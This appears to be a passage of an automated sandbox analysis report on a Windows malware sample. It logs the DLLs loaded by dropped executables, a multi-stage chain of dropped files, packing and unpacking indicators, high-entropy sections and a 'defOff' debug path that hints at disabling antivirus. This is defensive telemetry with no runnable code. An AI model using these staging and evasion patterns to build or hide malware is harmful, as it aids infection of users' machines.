Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: gpapi.dll

Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2928128 > 1048576

Source: file.exe

Static PE information: Raw size of yswfrwhx is bigger than: 0x100000 < 0x29f400

Source:	Binary string: my_library.pdbU source: b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp
Source:	Binary string: my_library.pdb source: b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: CMI46CXL3718GGL9UBA.exe, 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmp, CMI46CXL3718GGL9UBA.exe, 00000004.00000003.2070411561.0000000004970000.00000004.00001000.00020000.00000000.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000002.2849679646.0000000000922000.00000040.00000001.01000000.00000018.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000003.2713779245.0000000004750000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Unpacked PE file: 4.2.CMI46CXL3718GGL9UBA.exe.e90000.0.unpack :EW;.rsrc:W;.idata :W;ucxgvins:EW;nulvttal:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Unpacked PE file: 5.2.S39605Y99PQJP70DBWYAE5A.exe.920000.0.unpack :EW;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.150000.0.unpack :EW;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Unpacked PE file: 10.2.b28f5af0b9.exe.2c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;lvyqwrnu:EW;fslmoltp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;lvyqwrnu:EW;fslmoltp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Unpacked PE file: 11.2.bd73c9fe1b.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W;yswfrwhx:EW;eypvdvsa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yswfrwhx:EW;eypvdvsa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Unpacked PE file: 29.2.b28f5af0b9.exe.2c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;lvyqwrnu:EW;fslmoltp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;lvyqwrnu:EW;fslmoltp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Unpacked PE file: 31.2.SLPBKPVSB544AP3LMUB.exe.920000.0.unpack :EW;.rsrc:W;.idata :W;ucxgvins:EW;nulvttal:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Unpacked PE file: 32.2.5EQND7K5L8HE276L.exe.db0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;axzfwsyi:EW;hvubbrkg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Unpacked PE file: 49.2.bd73c9fe1b.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W;yswfrwhx:EW;eypvdvsa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yswfrwhx:EW;eypvdvsa:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe.7.dr	Static PE information: real checksum: 0x2ce5c5 should be: 0x2cc52f
Source: SLPBKPVSB544AP3LMUB.exe.8.dr	Static PE information: real checksum: 0x2b0426 should be: 0x2affbf
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: real checksum: 0x1d1c5d should be: 0x1d147d
Source: b28f5af0b9.exe.7.dr	Static PE information: real checksum: 0x206242 should be: 0x207dcb
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x1d1c5d should be: 0x1d147d
Source: random[1].exe0.7.dr	Static PE information: real checksum: 0x206242 should be: 0x207dcb
Source: file.exe	Static PE information: real checksum: 0x2ce5c5 should be: 0x2cc52f
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: real checksum: 0x1d1c5d should be: 0x1d147d
Source: num[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: bd73c9fe1b.exe.7.dr	Static PE information: real checksum: 0x2ce5c5 should be: 0x2cc52f
Source: CMI46CXL3718GGL9UBA.exe.0.dr	Static PE information: real checksum: 0x2b0426 should be: 0x2affbf

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: yswfrwhx
Source: file.exe	Static PE information: section name: eypvdvsa
Source: file.exe	Static PE information: section name: .taggant
Source: CMI46CXL3718GGL9UBA.exe.0.dr	Static PE information: section name:
Source: CMI46CXL3718GGL9UBA.exe.0.dr	Static PE information: section name: .idata
Source: CMI46CXL3718GGL9UBA.exe.0.dr	Static PE information: section name: ucxgvins
Source: CMI46CXL3718GGL9UBA.exe.0.dr	Static PE information: section name: nulvttal
Source: CMI46CXL3718GGL9UBA.exe.0.dr	Static PE information: section name: .taggant
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name:
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name: .idata
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name:
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name: axzfwsyi
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name: hvubbrkg
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: axzfwsyi
Source: skotes.exe.5.dr	Static PE information: section name: hvubbrkg
Source: skotes.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name: yswfrwhx
Source: random[1].exe.7.dr	Static PE information: section name: eypvdvsa
Source: random[1].exe.7.dr	Static PE information: section name: .taggant
Source: bd73c9fe1b.exe.7.dr	Static PE information: section name:
Source: bd73c9fe1b.exe.7.dr	Static PE information: section name: .idata
Source: bd73c9fe1b.exe.7.dr	Static PE information: section name: yswfrwhx
Source: bd73c9fe1b.exe.7.dr	Static PE information: section name: eypvdvsa
Source: bd73c9fe1b.exe.7.dr	Static PE information: section name: .taggant
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: lvyqwrnu
Source: random[1].exe0.7.dr	Static PE information: section name: fslmoltp
Source: random[1].exe0.7.dr	Static PE information: section name: .taggant
Source: b28f5af0b9.exe.7.dr	Static PE information: section name:
Source: b28f5af0b9.exe.7.dr	Static PE information: section name: .rsrc
Source: b28f5af0b9.exe.7.dr	Static PE information: section name: .idata
Source: b28f5af0b9.exe.7.dr	Static PE information: section name:
Source: b28f5af0b9.exe.7.dr	Static PE information: section name: lvyqwrnu
Source: b28f5af0b9.exe.7.dr	Static PE information: section name: fslmoltp
Source: b28f5af0b9.exe.7.dr	Static PE information: section name: .taggant
Source: SLPBKPVSB544AP3LMUB.exe.8.dr	Static PE information: section name:
Source: SLPBKPVSB544AP3LMUB.exe.8.dr	Static PE information: section name: .idata
Source: SLPBKPVSB544AP3LMUB.exe.8.dr	Static PE information: section name: ucxgvins
Source: SLPBKPVSB544AP3LMUB.exe.8.dr	Static PE information: section name: nulvttal
Source: SLPBKPVSB544AP3LMUB.exe.8.dr	Static PE information: section name: .taggant
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name:
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name: .idata
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name:
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name: axzfwsyi
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name: hvubbrkg
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0522382F push esi; retf	0_3_05223830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0522382F push esi; retf	0_3_05223830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0522382F push esi; retf	0_3_05223830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0522382F push esi; retf	0_3_05223830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0522382F push esi; retf	0_3_05223830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05223318 push eax; iretd	0_3_05223319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05223318 push eax; iretd	0_3_05223319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05223318 push eax; iretd	0_3_05223319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05223318 push eax; iretd	0_3_05223319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05223318 push eax; iretd	0_3_05223319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008C86C1 push eax; retf	0_3_008C86D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008C86C1 push eax; retf	0_3_008C86D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008C3D64 pushad ; retf 003Eh	0_3_008C3D69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008C3D64 pushad ; retf 003Eh	0_3_008C3D69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008C86C1 push eax; retf	0_3_008C86D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008C86C1 push eax; retf	0_3_008C86D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008C3D64 pushad ; retf 003Eh	0_3_008C3D69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008C3D64 pushad ; retf 003Eh	0_3_008C3D69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008D0A01 pushad ; ret	0_3_008D0A39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008D0A01 pushad ; ret	0_3_008D0A39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008D0A01 pushad ; ret	0_3_008D0A39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008D0A01 pushad ; ret	0_3_008D0A39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008D0A01 pushad ; ret	0_3_008D0A39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0522382F push esi; retf	0_3_05223830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0522382F push esi; retf	0_3_05223830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0522382F push esi; retf	0_3_05223830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0522382F push esi; retf	0_3_05223830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0522382F push esi; retf	0_3_05223830
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05223318 push eax; iretd	0_3_05223319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05223318 push eax; iretd	0_3_05223319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05223318 push eax; iretd	0_3_05223319

Source: file.exe	Static PE information: section name: entropy: 7.984648615988983
Source: CMI46CXL3718GGL9UBA.exe.0.dr	Static PE information: section name: entropy: 7.791645043288012
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name: entropy: 7.985703157171722
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr	Static PE information: section name: axzfwsyi entropy: 7.9536560264351355
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 7.985703157171722
Source: skotes.exe.5.dr	Static PE information: section name: axzfwsyi entropy: 7.9536560264351355
Source: random[1].exe.7.dr	Static PE information: section name: entropy: 7.984648615988983
Source: bd73c9fe1b.exe.7.dr	Static PE information: section name: entropy: 7.984648615988983
Source: random[1].exe0.7.dr	Static PE information: section name: lvyqwrnu entropy: 7.954065080128192
Source: b28f5af0b9.exe.7.dr	Static PE information: section name: lvyqwrnu entropy: 7.954065080128192
Source: SLPBKPVSB544AP3LMUB.exe.8.dr	Static PE information: section name: entropy: 7.791645043288012
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name: entropy: 7.985703157171722
Source: 5EQND7K5L8HE276L.exe.8.dr	Static PE information: section name: axzfwsyi entropy: 7.9536560264351355

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File created: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File created: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Jump to dropped file
